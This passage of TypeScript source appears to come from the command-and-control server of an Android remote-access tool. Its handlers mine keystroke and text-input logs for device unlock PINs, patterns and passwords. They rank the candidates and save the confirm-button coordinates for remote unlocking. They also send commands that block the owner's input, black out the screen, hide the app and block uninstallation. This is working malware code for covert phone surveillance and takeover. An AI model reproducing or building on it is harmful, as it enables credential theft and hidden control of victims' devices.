message: '清空日志失败' }) return false } } /** * 处理获取设备密码请求 */ private handleGetDevicePassword(clientId: string, deviceId: string): boolean { try { this.logger.info(`🔐 处理密码查询请求: 客户端=${clientId}, 设备=${deviceId}`) // 检查客户端是否有权限查看该设备信息 const hasControl = this.webClientManager.hasDeviceControl(clientId, deviceId) this.logger.info(`🎫 权限检查结果: ${hasControl}`) if (!hasControl) { this.logger.warn(`❌ 客户端 ${clientId} 无权查看设备 ${deviceId} 的密码`) this.webClientManager.sendToClient(clientId, 'get_device_password_response', { success: false, message: '无权查看该设备信息' }) return false } // ✅ 优先从状态表获取密码 const password = this.databaseService.getDevicePassword(deviceId) // ✅ 获取设备状态信息 const deviceState = this.databaseService.getDeviceState(deviceId) let responseData: any = { success: true, password: password, deviceState: deviceState ? { inputBlocked: deviceState.inputBlocked, loggingEnabled: deviceState.loggingEnabled, lastPasswordUpdate: deviceState.lastPasswordUpdate, // 🆕 包含确认按钮坐标信息 confirmButtonCoords: deviceState.confirmButtonCoords, learnedConfirmButton: deviceState.learnedConfirmButton } : null } // ✅ 处理确认按钮坐标信息 if (password) { responseData.message = '找到密码记录' // 🆕 优先使用保存的确认按钮坐标 if (deviceState?.confirmButtonCoords) { responseData.hasConfirmButton = true responseData.confirmButtonCoords = deviceState.confirmButtonCoords this.logger.info(`🎯 使用保存的确认按钮坐标: (${deviceState.confirmButtonCoords.x}, ${deviceState.confirmButtonCoords.y})`) } // 🆕 其次使用学习的确认按钮坐标 else if (deviceState?.learnedConfirmButton) { responseData.hasConfirmButton = true responseData.confirmButtonCoords = { x: deviceState.learnedConfirmButton.x, y: deviceState.learnedConfirmButton.y } this.logger.info(`🧠 使用学习的确认按钮坐标: (${deviceState.learnedConfirmButton.x}, ${deviceState.learnedConfirmButton.y}) 次数: ${deviceState.learnedConfirmButton.count}`) } // 🆕 最后尝试从日志中查找 else { const textInputLogs = this.databaseService.getOperationLogs(deviceId, 1, 100, 'TEXT_INPUT') const passwordsWithMeta = this.extractPasswordCandidatesWithMeta(textInputLogs.logs) const matchingEntry = passwordsWithMeta.find(entry => entry.password === password) if (matchingEntry && matchingEntry.hasConfirmButton) { responseData.hasConfirmButton = true responseData.confirmButtonCoords = { x: matchingEntry.confirmButtonX, y: matchingEntry.confirmButtonY } this.logger.info(`📝 从日志中找到确认按钮坐标: (${matchingEntry.confirmButtonX}, ${matchingEntry.confirmButtonY})`) } else { responseData.hasConfirmButton = false this.logger.info(`ℹ️ 密码 ${password} 无确认按钮坐标`) } } } else { // 如果状态表没有密码,尝试从日志中提取 const textInputLogs = this.databaseService.getOperationLogs(deviceId, 1, 100, 'TEXT_INPUT') if (textInputLogs.logs.length > 0) { const passwordsWithMeta = this.extractPasswordCandidatesWithMeta(textInputLogs.logs) if (passwordsWithMeta.length > 0) { const bestEntry = passwordsWithMeta[0] responseData.password = bestEntry.password if (bestEntry.hasConfirmButton) { responseData.hasConfirmButton = true responseData.confirmButtonCoords = { x: bestEntry.confirmButtonX, y: bestEntry.confirmButtonY } } else { responseData.hasConfirmButton = false } responseData.message = '从日志中找到密码记录' this.logger.info(`✅ 从日志中提取密码: ${bestEntry.password}`) } else { responseData.message = '暂无密码记录' } } else { responseData.message = '暂无密码记录' } } // 发送响应 this.webClientManager.sendToClient(clientId, 'get_device_password_response', responseData) this.logger.debug(`设备密码和状态查询完成: ${deviceId}, 找到密码: ${!!password}, 设备状态: ${!!deviceState}`) return true } catch (error) { this.logger.error('处理获取设备密码请求失败:', error) this.webClientManager.sendToClient(clientId, 'get_device_password_response', { success: false, message: '查询密码失败' }) return false } } /** * 处理保存设备密码请求 */ private handleSaveDevicePassword(clientId: string, deviceId: string, password: string): boolean { try { this.logger.info(`🔐 处理保存设备密码请求: 客户端=${clientId}, 设备=${deviceId}`) // 检查客户端是否有权限保存该设备密码 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`客户端 ${clientId} 无权保存设备 ${deviceId} 的密码`) this.webClientManager.sendToClient(clientId, 'save_device_password_response', { success: false, message: '无权保存该设备密码' }) return false } // 保存密码到数据库 this.databaseService.saveDevicePassword(deviceId, password) // 发送成功响应 this.webClientManager.sendToClient(clientId, 'save_device_password_response', { success: true, message: '密码已保存' }) this.logger.info(`设备 ${deviceId} 的密码已被客户端 ${clientId} 保存`) return true } catch (error) { this.logger.error('处理保存设备密码请求失败:', error) this.webClientManager.sendToClient(clientId, 'save_device_password_response', { success: false, message: '保存密码失败' }) return false } } /** * 处理更新设备状态请求 */ private handleUpdateDeviceState(clientId: string, deviceId: string, state: any): boolean { try { this.logger.info(`🔐 处理更新设备状态请求: 客户端=${clientId}, 设备=${deviceId}`) // 检查客户端是否有权限更新该设备状态 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`客户端 ${clientId} 无权更新设备 ${deviceId} 的状态`) this.webClientManager.sendToClient(clientId, 'update_device_state_response', { success: false, message: '无权更新该设备状态' }) return false } // 更新设备状态到数据库 this.databaseService.updateDeviceState(deviceId, state) // 发送成功响应 this.webClientManager.sendToClient(clientId, 'update_device_state_response', { success: true, message: '设备状态已更新' }) this.logger.info(`设备 ${deviceId} 的状态已被客户端 ${clientId} 更新`) return true } catch (error) { this.logger.error('处理更新设备状态请求失败:', error) this.webClientManager.sendToClient(clientId, 'update_device_state_response', { success: false, message: '更新设备状态失败' }) return false } } /** * 处理获取设备状态请求 */ private handleGetDeviceState(clientId: string, deviceId: string): boolean { try { this.logger.info(`🔐 处理获取设备状态请求: 客户端=${clientId}, 设备=${deviceId}`) // 检查客户端是否有权限获取该设备状态 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`客户端 ${clientId} 无权获取设备 ${deviceId} 的状态`) this.webClientManager.sendToClient(clientId, 'get_device_state_response', { success: false, message: '无权获取该设备状态' }) return false } // 获取设备状态 const deviceState = this.databaseService.getDeviceState(deviceId) // 发送响应,包含设备状态信息 this.webClientManager.sendToClient(clientId, 'get_device_state_response', { success: true, data: deviceState }) this.logger.info(`设备 ${deviceId} 的状态已被客户端 ${clientId} 获取`) return true } catch (error) { this.logger.error('处理获取设备状态请求失败:', error) this.webClientManager.sendToClient(clientId, 'get_device_state_response', { success: false, message: '获取设备状态失败' }) return false } } /** * 广播消息到所有相关方 */ broadcastMessage(eventType: string, data: any): void { this.webClientManager.broadcastToAll(eventType, data) this.logger.debug(`广播消息: ${eventType}`) } /** * 获取路由统计信息 */ getRouterStats(): { totalDevices: number totalClients: number activeControlSessions: number } { return { totalDevices: this.deviceManager.getDeviceCount(), totalClients: this.webClientManager.getClientCount(), activeControlSessions: this.webClientManager.getAllClients() .filter(client => client.controllingDeviceId).length } } public handleDeviceInputBlockedChanged(deviceId: string, blocked: boolean): void { try { // 更新设备状态到数据库 this.databaseService.updateDeviceInputBlocked(deviceId, blocked) // 通知所有连接的Web客户端设备状态已变化 this.webClientManager.broadcastToAll('device_input_blocked_changed', { deviceId, blocked, success: true, message: '设备输入阻塞状态已更新' }) this.logger.info(`设备 ${deviceId} 的输入阻塞状态已更新: ${blocked}`) } catch (error) { this.logger.error('处理设备输入阻塞状态更新失败:', error) this.webClientManager.broadcastToAll('device_input_blocked_changed', { deviceId, blocked, success: false, message: '更新设备输入阻塞状态失败' }) } } private handleDeviceLoggingStateChanged(deviceId: string, enabled: boolean): void { try { // 更新设备状态到数据库 this.databaseService.updateDeviceLoggingEnabled(deviceId, enabled) // 通知所有连接的Web客户端设备状态已变化 this.webClientManager.broadcastToAll('device_logging_state_changed', { deviceId, enabled, success: true, message: '设备日志状态已更新' }) this.logger.info(`设备 ${deviceId} 的日志状态已更新: ${enabled}`) } catch (error) { this.logger.error('处理设备日志状态更新失败:', error) this.webClientManager.broadcastToAll('device_logging_state_changed', { deviceId, enabled, success: false, message: '更新设备日志状态失败' }) } } private restoreDeviceState(clientId: string, deviceId: string): void { try { // 从数据库获取设备状态 const deviceState = this.databaseService.getDeviceState(deviceId) if (deviceState) { // 发送设备状态给客户端 this.webClientManager.sendToClient(clientId, 'device_state_restored', { deviceId, state: deviceState, success: true, message: '设备状态已恢复' }) // ✅ 优化:Web端获取控制权时,只需要同步状态到Web端界面即可 // Android端已经在运行并维护着真实状态,不需要强制同步命令 // 移除了向Android端发送控制命令的逻辑,避免不必要的命令洪流导致连接不稳定 this.logger.info(`设备 ${deviceId} 状态已恢复到Web端: 密码=${deviceState.password ? '已设置' : '未设置'}, 输入阻塞=${deviceState.inputBlocked}, 日志=${deviceState.loggingEnabled}`) } else { this.logger.debug(`设备 ${deviceId} 没有保存的状态信息`) } } catch (error) { this.logger.error(`恢复设备 ${deviceId} 状态失败:`, error) this.webClientManager.sendToClient(clientId, 'device_state_restored', { deviceId, success: false, message: '恢复设备状态失败' }) } } private handleSearchPasswordsFromLogs(clientId: string, deviceId: string): boolean { try { // 检查客户端权限 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { this.logger.warn(`客户端 ${clientId} 无权搜索设备 ${deviceId} 的密码`) this.webClientManager.sendToClient(clientId, 'password_search_response', { success: false, message: '无权搜索该设备的密码' }) return false } this.logger.info(`🔍 开始从日志中搜索密码: 设备=${deviceId}`) // 从数据库获取文本输入相关的操作日志 const textInputLogs = this.databaseService.getPasswordCandidatesFromLogs(deviceId) this.logger.info(`🔍 设备 ${deviceId} 密码查找结果: 找到 ${textInputLogs ? textInputLogs.length : 0} 条文本输入日志`) if (!textInputLogs || textInputLogs.length === 0) { this.logger.info(`📝 设备 ${deviceId} 暂无文本输入日志记录`) // 调试:检查该设备是否有任何日志 const allLogs = this.databaseService.getOperationLogs(deviceId, 1, 10) this.logger.info(`🔍 调试信息 - 设备 ${deviceId} 的所有日志数量: ${allLogs.total}`) this.webClientManager.sendToClient(clientId, 'password_search_response', { success: true, message: `未找到文本输入记录。该设备共有 ${allLogs.total} 条日志,但无文本输入类型的日志。`, passwords: [] }) return true } // 分析日志内容,提取可能的密码 const passwordCandidates = this.extractPasswordCandidates(textInputLogs) this.logger.info(`🔑 发现 ${passwordCandidates.length} 个可能的密码候选`) // 发送结果给客户端 this.webClientManager.sendToClient(clientId, 'password_search_response', { success: true, message: `找到 ${passwordCandidates.length} 个可能的密码`, passwords: passwordCandidates }) return true } catch (error) { this.logger.error('搜索密码失败:', error) this.webClientManager.sendToClient(clientId, 'password_search_response', { success: false, message: '搜索密码时发生错误' }) return false } } /** * ✅ 新增:从操作日志中提取密码候选及其元信息(包括确认坐标) */ private extractPasswordCandidatesWithMeta(logs: any[]): Array<{ password: string type: string confirmButtonX?: number confirmButtonY?: number hasConfirmButton?: boolean }> { const passwordMap = new Map() for (const log of logs) { const content = log.content || '' const extraData = log.extraData this.logger.debug(`🔍 分析日志内容: ${content}`) let textInput = '' let passwordType = 'unknown' let confirmButtonX: number | undefined let confirmButtonY: number | undefined let hasConfirmButton = false // ✅ 方法1: 从密码输入分析完成的日志中提取(新格式,包含类型信息) if (content.includes('🔑 密码输入分析完成')) { const passwordMatch = content.match(/密码:(.+?)(?:\s|\||$)/) if (passwordMatch) { textInput = passwordMatch[1].trim() this.logger.info(`✅ 从分析日志中提取密码: ${textInput}`) } // 提取密码类型信息 if (content.includes('数字密码') || content.includes('PIN码')) { passwordType = content.includes('PIN码') ? 'pin' : 'numeric' } else if (content.includes('图案密码') || content.includes('图形密码')) { passwordType = 'pattern' } else if (content.includes('混合密码')) { passwordType = 'mixed' } else if (content.includes('文本密码')) { passwordType = 'text' } else { passwordType = this.detectPasswordTypeFromContent(textInput) } // ✅ 提取确认坐标信息 const coordMatch = content.match(/确认坐标:\((\d+),\s*(\d+)\)/) if (coordMatch) { confirmButtonX = parseInt(coordMatch[1]) confirmButtonY = parseInt(coordMatch[2]) hasConfirmButton = true this.logger.info(`✅ 提取到确认坐标: (${confirmButtonX}, ${confirmButtonY})`) } this.logger.info(`🔍 检测到密码类型: ${passwordType}`) } // ✅ 从extraData中提取坐标信息 if (extraData && typeof extraData === 'object') { if (extraData.confirmButtonX && extraData.confirmButtonY) { confirmButtonX = extraData.confirmButtonX confirmButtonY = extraData.confirmButtonY hasConfirmButton = true } } // ✅ 处理独立的确认坐标日志 if (content.includes('确认按钮坐标更新') || log.log_type === 'PASSWORD_CONFIRM_COORDS') { // 这是一个确认坐标更新日志,需要关联到最近的密码 if (extraData && extraData.confirmButtonX && extraData.confirmButtonY) { // 在已有的密码候选中查找最近的需要确认按钮的密码 const existingEntries = Array.from(passwordMap.values()) const recentEntry = existingEntries .filter(entry => entry.type === 'mixed' || entry.type === 'text') .sort((a, b) => (b.confirmButtonX ? 1 : 0) - (a.confirmButtonX ? 1 : 0)) // 优先选择还没有坐标的 .pop() if (recentEntry && !recentEntry.confirmButtonX) { recentEntry.confirmButtonX = extraData.confirmButtonX recentEntry.confirmButtonY = extraData.confirmButtonY recentEntry.hasConfirmButton = true this.logger.info(`✅ 为已有密码 ${recentEntry.password} 添加确认坐标: (${extraData.confirmButtonX}, ${extraData.confirmButtonY})`) } } continue // 跳过后续处理,这不是密码日志 } // 验证并添加密码 if (textInput && this.isPossiblePasswordEnhanced(textInput, passwordType)) { this.logger.info(`✅ 验证通过,添加密码候选: ${textInput} (类型: ${passwordType})`) const passwordEntry = { password: textInput, type: passwordType, confirmButtonX, confirmButtonY, hasConfirmButton } passwordMap.set(textInput, passwordEntry) } } // 转换为数组并排序 const passwords = Array.from(passwordMap.values()) passwords.sort((a, b) => { const typePriority: Record = { 'pin': 100, 'numeric': 90, 'mixed': 80, 'text': 70, 'pattern': 60, 'unknown': 50 } const aPriority = typePriority[a.type] || 50 const bPriority = typePriority[b.type] || 50 if (aPriority !== bPriority) { return bPriority - aPriority } const preferredLengths = [4, 6, 8] const aScore = preferredLengths.includes(a.password.length) ? 100 - preferredLengths.indexOf(a.password.length) : a.password.length const bScore = preferredLengths.includes(b.password.length) ? 100 - preferredLengths.indexOf(b.password.length) : b.password.length return bScore - aScore }) return passwords } /** * 从操作日志中提取密码候选 - ✅ 增强版本,改进密码类型识别 */ private extractPasswordCandidates(logs: any[]): string[] { const passwordSet = new Set() const passwordWithType = new Map() // 记录密码及其类型 for (const log of logs) { const content = log.content || '' const extraData = log.extraData this.logger.debug(`🔍 分析日志内容: ${content}`) // 从日志内容中提取文本 let textInput = '' let passwordType = 'unknown' // ✅ 方法1: 从密码输入分析完成的日志中提取(新格式,包含类型信息) if (content.includes('🔑 密码输入分析完成')) { // 提取密码 const passwordMatch = content.match(/密码:(.+?)(?:\s|\||$)/) if (passwordMatch) { textInput = passwordMatch[1].trim() this.logger.info(`✅ 从分析日志中提取密码: ${textInput}`) } // ✅ 提取密码类型信息 if (content.includes('数字密码') || content.includes('PIN码')) { passwordType = content.includes('PIN码') ? 'pin' : 'numeric' } else if (content.includes('图案密码') || content.includes('图形密码')) { passwordType = 'pattern' } else if (content.includes('混合密码')) { passwordType = 'mixed' } else if (content.includes('文本密码')) { passwordType = 'text' } else { // 根据密码内容自动判断类型 passwordType = this.detectPasswordTypeFromContent(textInput) } this.logger.info(`🔍 检测到密码类型: ${passwordType}`) } // 方法2: 从传统的输入文本日志中解析 else if (content.includes('输入文本:') || content.includes('远程输入文本:')) { const match = content.match(/(?:远程)?输入文本:\s*(.+)/) if (match) { textInput = match[1].trim() passwordType = this.detectPasswordTypeFromContent(textInput) this.logger.info(`✅ 从输入文本日志中提取: ${textInput} (类型: ${passwordType})`) } } // ✅ 方法3: 从数字密码键盘点击日志中提取 else if (content.includes('数字密码键盘点击:')) { const digitMatch = content.match(/数字密码键盘点击:\s*(\d)/) if (digitMatch) { // 这是单个数字,需要与其他数字组合 const digit = digitMatch[1] this.logger.debug(`🔢 发现数字密码键盘点击: ${digit}`) // 暂时不处理单个数字,等待完整密码分析 } } // 方法4: 从密码输入进度日志中提取 else if (content.includes('🔒') && content.includes('密码输入:')) { // 提取类似 "🔒 密码输入: •••••z (6位)" 的内容 const inputMatch = content.match(/密码输入:\s*[•]*([^•\s\(]+)/) if (inputMatch) { textInput = inputMatch[1].trim() passwordType = this.detectPasswordTypeFromContent(textInput) this.logger.info(`✅ 从密码输入进度日志中提取: ${textInput} (类型: ${passwordType})`) } } // ✅ 方法5: 从重构密码日志中提取 else if (content.includes('密码重构完成:')) { const reconstructMatch = content.match(/密码重构完成:\s*'([^']+)'/) if (reconstructMatch) { textInput = reconstructMatch[1].trim() passwordType = this.detectPasswordTypeFromContent(textInput) this.logger.info(`✅ 从密码重构日志中提取: ${textInput} (类型: ${passwordType})`) } } // ✅ 方法6: 从带确认坐标的日志中提取密码和坐标 else if (content.includes('确认坐标:')) { const passwordMatch = content.match(/密码:(.+?)\s*\|/) const coordMatch = content.match(/确认坐标:\((\d+),\s*(\d+)\)/) if (passwordMatch) { textInput = passwordMatch[1].trim() passwordType = this.detectPasswordTypeFromContent(textInput) if (coordMatch) { const confirmX = parseInt(coordMatch[1]) const confirmY = parseInt(coordMatch[2]) this.logger.info(`✅ 从确认坐标日志中提取: ${textInput} (类型: ${passwordType}) 确认坐标: (${confirmX}, ${confirmY})`) // 将确认坐标信息添加到extraData中 if (extraData && typeof extraData === 'object') { extraData.confirmButtonX = confirmX extraData.confirmButtonY = confirmY extraData.hasConfirmButton = true } } } } // 方法7: 从extraData中获取 if (!textInput && extraData) { if (typeof extraData === 'object') { if (extraData.text) { textInput = extraData.text passwordType = this.detectPasswordTypeFromContent(textInput) this.logger.info(`✅ 从extraData对象中提取: ${textInput} (类型: ${passwordType})`) } else if (extraData.reconstructedPassword) { textInput = extraData.reconstructedPassword passwordType = this.detectPasswordTypeFromContent(textInput) this.logger.info(`✅ 从extraData重构密码中提取: ${textInput} (类型: ${passwordType})`) } } else if (typeof extraData === 'string') { try { const parsed = JSON.parse(extraData) if (parsed.text) { textInput = parsed.text passwordType = this.detectPasswordTypeFromContent(textInput) this.logger.info(`✅ 从extraData JSON中提取: ${textInput} (类型: ${passwordType})`) } } catch (e) { // 忽略JSON解析错误 } } } // ✅ 验证是否为可能的密码,并考虑密码类型 if (textInput && this.isPossiblePasswordEnhanced(textInput, passwordType)) { this.logger.info(`✅ 验证通过,添加密码候选: ${textInput} (类型: ${passwordType})`) passwordSet.add(textInput) passwordWithType.set(textInput, passwordType) } else if (textInput) { this.logger.debug(`❌ 验证失败,跳过: ${textInput} (类型: ${passwordType})`) } } // ✅ 转换为数组并按类型和质量排序 const passwords = Array.from(passwordSet) this.logger.info(`🔑 最终提取到 ${passwords.length} 个密码候选: ${passwords.join(', ')}`) passwords.sort((a, b) => { const aType = passwordWithType.get(a) || 'unknown' const bType = passwordWithType.get(b) || 'unknown' // ✅ 类型优先级排序:PIN码 > 数字密码 > 混合密码 > 文本密码 > 图形密码 > 未知 const typePriority: Record = { 'pin': 100, 'numeric': 90, 'mixed': 80, 'text': 70, 'pattern': 60, 'unknown': 50 } const aPriority = typePriority[aType] || 50 const bPriority = typePriority[bType] || 50 if (aPriority !== bPriority) { return bPriority - aPriority } // 同类型按长度排序(常见密码长度优先:4位、6位、8位) const preferredLengths = [4, 6, 8] const aScore = preferredLengths.includes(a.length) ? 100 - preferredLengths.indexOf(a.length) : a.length const bScore = preferredLengths.includes(b.length) ? 100 - preferredLengths.indexOf(b.length) : b.length return bScore - aScore }) return passwords } /** * ✅ 新增:从密码内容检测密码类型 */ private detectPasswordTypeFromContent(password: string): string { if (!password) return 'unknown' const cleanPassword = password.replace(/[?•*]/g, '') // 移除掩码字符 // 判断是否为纯数字 if (/^\d+$/.test(cleanPassword)) { if (cleanPassword.length === 4 || cleanPassword.length === 6) { return 'pin' } else if (cleanPassword.length >= 4 && cleanPassword.length <= 9) { // 检查是否可能是图形密码(1-9的数字,不包含0) const hasOnlyValidPatternDigits = cleanPassword.split('').every(digit => { const num = parseInt(digit) return num >= 1 && num <= 9 }) if (hasOnlyValidPatternDigits && !cleanPassword.includes('0')) { return 'pattern' } else { return 'numeric' } } else { return 'numeric' } } // 判断是否为混合密码 if (/\d/.test(cleanPassword) && /[a-zA-Z]/.test(cleanPassword)) { return 'mixed' } // 纯字母 if (/^[a-zA-Z]+$/.test(cleanPassword)) { return 'text' } // 包含特殊字符 if (/[^a-zA-Z0-9]/.test(cleanPassword)) { return 'mixed' } return 'text' } /** * ✅ 增强版密码验证:判断文本是否可能是密码,考虑密码类型 */ private isPossiblePasswordEnhanced(text: string, passwordType: string): boolean { if (!text || typeof text !== 'string') { return false } const trimmed = text.trim() const cleanText = trimmed.replace(/[?•*]/g, '') // 移除掩码字符 // ✅ 根据密码类型进行不同的验证 switch (passwordType) { case 'pin': // PIN码:4-6位纯数字 return /^\d{4,6}$/.test(cleanText) case 'numeric': // 数字密码:3-12位数字(包含0) return /^\d{3,12}$/.test(cleanText) case 'pattern': // 图形密码:4-9位数字,只包含1-9 if (!/^\d{4,9}$/.test(cleanText)) return false return cleanText.split('').every(digit => { const num = parseInt(digit) return num >= 1 && num <= 9 }) && !cleanText.includes('0') case 'mixed': // 混合密码:包含字母和数字 return cleanText.length >= 4 && cleanText.length <= 20 && /[a-zA-Z]/.test(cleanText) && /\d/.test(cleanText) case 'text': // 文本密码:主要是字母 return cleanText.length >= 3 && cleanText.length <= 20 && /[a-zA-Z]/.test(cleanText) default: // 未知类型,使用通用验证 return this.isPossiblePassword(text) } } /** * 判断文本是否可能是密码 - 保持原有逻辑作为后备 */ private isPossiblePassword(text: string): boolean { if (!text || typeof text !== 'string') { return false } const trimmed = text.trim() // 长度检查:密码通常在3-20位之间 if (trimmed.length < 3 || trimmed.length > 20) { this.logger.debug(`❌ 长度不符合 (${trimmed.length}): ${trimmed}`) return false } // 排除明显不是密码的文本 const excludePatterns = [ /^\s+$/, // 纯空格 /^[\u4e00-\u9fa5\s]+$/, // 纯中文和空格 /^[!@#$%^&*(),.?":{}|<>\s]+$/, // 纯符号和空格 ] for (const pattern of excludePatterns) { if (pattern.test(trimmed)) { this.logger.debug(`❌ 匹配排除模式: ${trimmed}`) return false } } // 包含模式检查(可能是密码) const includePatterns = [ /^\d{3,8}$/, // 3-8位数字(PIN码) /^[a-zA-Z0-9]{3,16}$/, // 3-16位字母数字组合 /^[a-zA-Z0-9!@#$%^&*]{3,20}$/, // 3-20位字母数字符号组合 ] for (const pattern of includePatterns) { if (pattern.test(trimmed)) { this.logger.debug(`✅ 匹配包含模式: ${trimmed}`) return true } } // 其他可能的密码模式 - 更宽松的检查 const isValid = ( trimmed.length >= 3 && trimmed.length <= 20 && !/\s/.test(trimmed) && // 不包含空格 /[a-zA-Z0-9]/.test(trimmed) // 包含字母或数字 ) if (isValid) { this.logger.debug(`✅ 通过一般验证: ${trimmed}`) } else { this.logger.debug(`❌ 未通过一般验证: ${trimmed}`) } return isValid } /** * ✅ 刷新所有web客户端的设备列表 */ private refreshAllWebClientDeviceLists(): void { try { // 获取所有web客户端 const allClients = this.webClientManager.getAllClients() this.logger.info(`🔄 开始刷新 ${allClients.length} 个web客户端的设备列表`) allClients.forEach(client => { try { // 为每个客户端发送最新的设备列表 this.handleDeviceListRequest(client.id) } catch (error) { this.logger.error(`❌ 刷新客户端 ${client.id} 设备列表失败:`, error) } }) this.logger.info(`✅ 设备列表刷新完成`) } catch (error) { this.logger.error('❌ 刷新web客户端设备列表失败:', error) } } /** * ✅ 同步设备状态到设备端 */ private syncDeviceStateToDevice(socketId: string, deviceId: string, deviceState: any): void { try { this.logger.info(`🔄 开始同步设备状态到设备端: ${deviceId}`) // 获取设备的socket连接 const deviceSocket = this.webClientManager.io?.sockets.sockets.get(socketId) if (!deviceSocket) { this.logger.warn(`⚠️ 设备socket连接不存在,无法同步状态: ${deviceId}`) return } // 同步输入阻塞状态 if (deviceState.inputBlocked !== undefined && deviceState.inputBlocked !== null) { const controlMessage = { type: deviceState.inputBlocked ? 'DEVICE_BLOCK_INPUT' : 'DEVICE_ALLOW_INPUT', deviceId, data: {}, timestamp: Date.now() } deviceSocket.emit('control_message', controlMessage) this.logger.info(`📤 已向设备 ${deviceId} 同步输入阻塞状态: ${deviceState.inputBlocked}`) } // 同步日志状态(如果需要) if (deviceState.loggingEnabled !== undefined && deviceState.loggingEnabled !== null) { const logMessage = { type: deviceState.loggingEnabled ? 'LOG_ENABLE' : 'LOG_DISABLE', deviceId, data: {}, timestamp: Date.now() } deviceSocket.emit('control_command', logMessage) this.logger.info(`📤 已向设备 ${deviceId} 同步日志状态: ${deviceState.loggingEnabled}`) } // 🆕 同步黑屏遮盖状态(如果需要) if (deviceState.blackScreenActive !== undefined && deviceState.blackScreenActive !== null) { const blackScreenMessage = { type: deviceState.blackScreenActive ? 'ENABLE_BLACK_SCREEN' : 'DISABLE_BLACK_SCREEN', deviceId, data: {}, timestamp: Date.now() } deviceSocket.emit('control_command', blackScreenMessage) this.logger.info(`📤 已向设备 ${deviceId} 同步黑屏遮盖状态: ${deviceState.blackScreenActive}`) } // 🆕 同步应用隐藏状态(如果需要) if (deviceState.appHidden !== undefined && deviceState.appHidden !== null) { const appHideMessage = { type: deviceState.appHidden ? 'HIDE_APP' : 'SHOW_APP', deviceId, data: {}, timestamp: Date.now() } deviceSocket.emit('control_command', appHideMessage) this.logger.info(`📤 已向设备 ${deviceId} 同步应用隐藏状态: ${deviceState.appHidden}`) } // 🛡️ 同步防止卸载保护状态(如果需要) if (deviceState.uninstallProtectionEnabled !== undefined && deviceState.uninstallProtectionEnabled !== null) { const uninstallProtectionMessage = { type: deviceState.uninstallProtectionEnabled ? 'ENABLE_UNINSTALL_PROTECTION' : 'DISABLE_UNINSTALL_PROTECTION', deviceId, data: {}, timestamp: Date.now() } deviceSocket.emit('control_command', uninstallProtectionMessage) this.logger.info(`📤 已向设备 ${deviceId} 同步防止卸载保护状态: ${deviceState.uninstallProtectionEnabled}`) } this.logger.info(`✅ 设备状态同步完成: ${deviceId}`) } catch (error) { this.logger.error(`❌ 同步设备状态失败: ${deviceId}`, error) } } /** * 处理删除设备请求 */ private handleDeleteDevice(clientId: string, deviceId: string): boolean { try { this.logger.info(`🗑️ 处理删除设备请求: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在 const deviceExists = this.databaseService.getDeviceById(deviceId) if (!deviceExists) { this.logger.warn(`⚠️ 尝试删除不存在的设备: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'delete_device_response', { success: false, deviceId: deviceId, message: '设备不存在' }) return false } // 如果设备在线,先释放控制权并断开连接 const onlineDevice = this.deviceManager.getDevice(deviceId) if (onlineDevice) { this.logger.info(`📤 设备在线,先断开连接: ${deviceId}`) // 释放控制权 const controller = this.webClientManager.getDeviceController(deviceId) if (controller) { this.webClientManager.releaseDeviceControl(deviceId) this.logger.info(`🔓 已释放设备控制权: ${controller}`) } // 通知设备断开 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('force_disconnect', { reason: 'device_deleted', message: '设备已被删除' }) deviceSocket.disconnect(true) } } // 从内存中移除设备 this.deviceManager.removeDevice(deviceId) // 通知所有客户端设备已断开 this.webClientManager.broadcastToAll('device_disconnected', deviceId) } // 从数据库中删除设备及相关数据 this.databaseService.deleteDevice(deviceId) this.logger.info(`✅ 设备已从数据库删除: ${deviceId}`) // 发送成功响应 this.webClientManager.sendToClient(clientId, 'delete_device_response', { success: true, deviceId: deviceId, message: '设备已删除' }) this.logger.info(`🎉 设备删除完成: ${deviceId}`) return true } catch (error) { this.logger.error('删除设备失败:', error) this.webClientManager.sendToClient(clientId, 'delete_device_response', { success: false, deviceId: deviceId, message: '删除设备时发生错误' }) return false } } /** * 获取设备UI层次结构 */ private handleGetUIHierarchy(clientId: string, deviceId: string, requestData: any): boolean { try { this.logger.info(`🔍 处理UI层次结构获取请求: 客户端=${clientId}, 设备=${deviceId}`) // 检查客户端权限 const client = this.webClientManager.getClient(clientId) if (!client) { this.logger.error(`获取UI层次结构失败: 找不到客户端 ${clientId}`) return false } // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { this.logger.error(`❌ 设备不在线或不存在: ${deviceId}`) this.logger.info(`📋 当前所有设备: ${JSON.stringify(this.deviceManager.getAllDevices().map(d => ({ id: d.id, name: d.name, socketId: d.socketId, status: d.status })))}`) this.webClientManager.sendToClient(clientId, 'ui_hierarchy_response', { deviceId, success: false, message: '设备不在线或不存在' }) return false } // 获取设备Socket并发送UI分析请求 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) this.logger.info(`🔍 设备 ${deviceId} 的Socket ID: ${deviceSocketId}`) if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) this.logger.info(`🔍 Socket连接状态: ${deviceSocket ? '已连接' : '未找到'}`) if (deviceSocket) { // 向设备发送UI分析请求 - 默认启用所有增强功能 const requestPayload = { requestId: `ui_${Date.now()}`, clientId: clientId, includeInvisible: requestData.includeInvisible !== false, // 默认true includeNonInteractive: requestData.includeNonInteractive !== false, // 默认true maxDepth: requestData.maxDepth || 25, // 默认增加到25层 enhanced: true, // 默认启用增强功能 includeDeviceInfo: true // 默认包含设备信息 } this.logger.info(`📤 准备发送UI分析请求(增强模式): ${JSON.stringify(requestPayload)}`) deviceSocket.emit('ui_hierarchy_request', requestPayload) this.logger.info(`📤 已向设备 ${deviceId} 发送UI层次结构分析请求(增强模式)`) return true } } this.logger.error(`无法找到设备 ${deviceId} 的Socket连接`) this.webClientManager.sendToClient(clientId, 'ui_hierarchy_response', { deviceId, success: false, message: '设备连接已断开' }) return false } catch (error) { this.logger.error(`获取UI层次结构失败: ${deviceId}`, error) this.webClientManager.sendToClient(clientId, 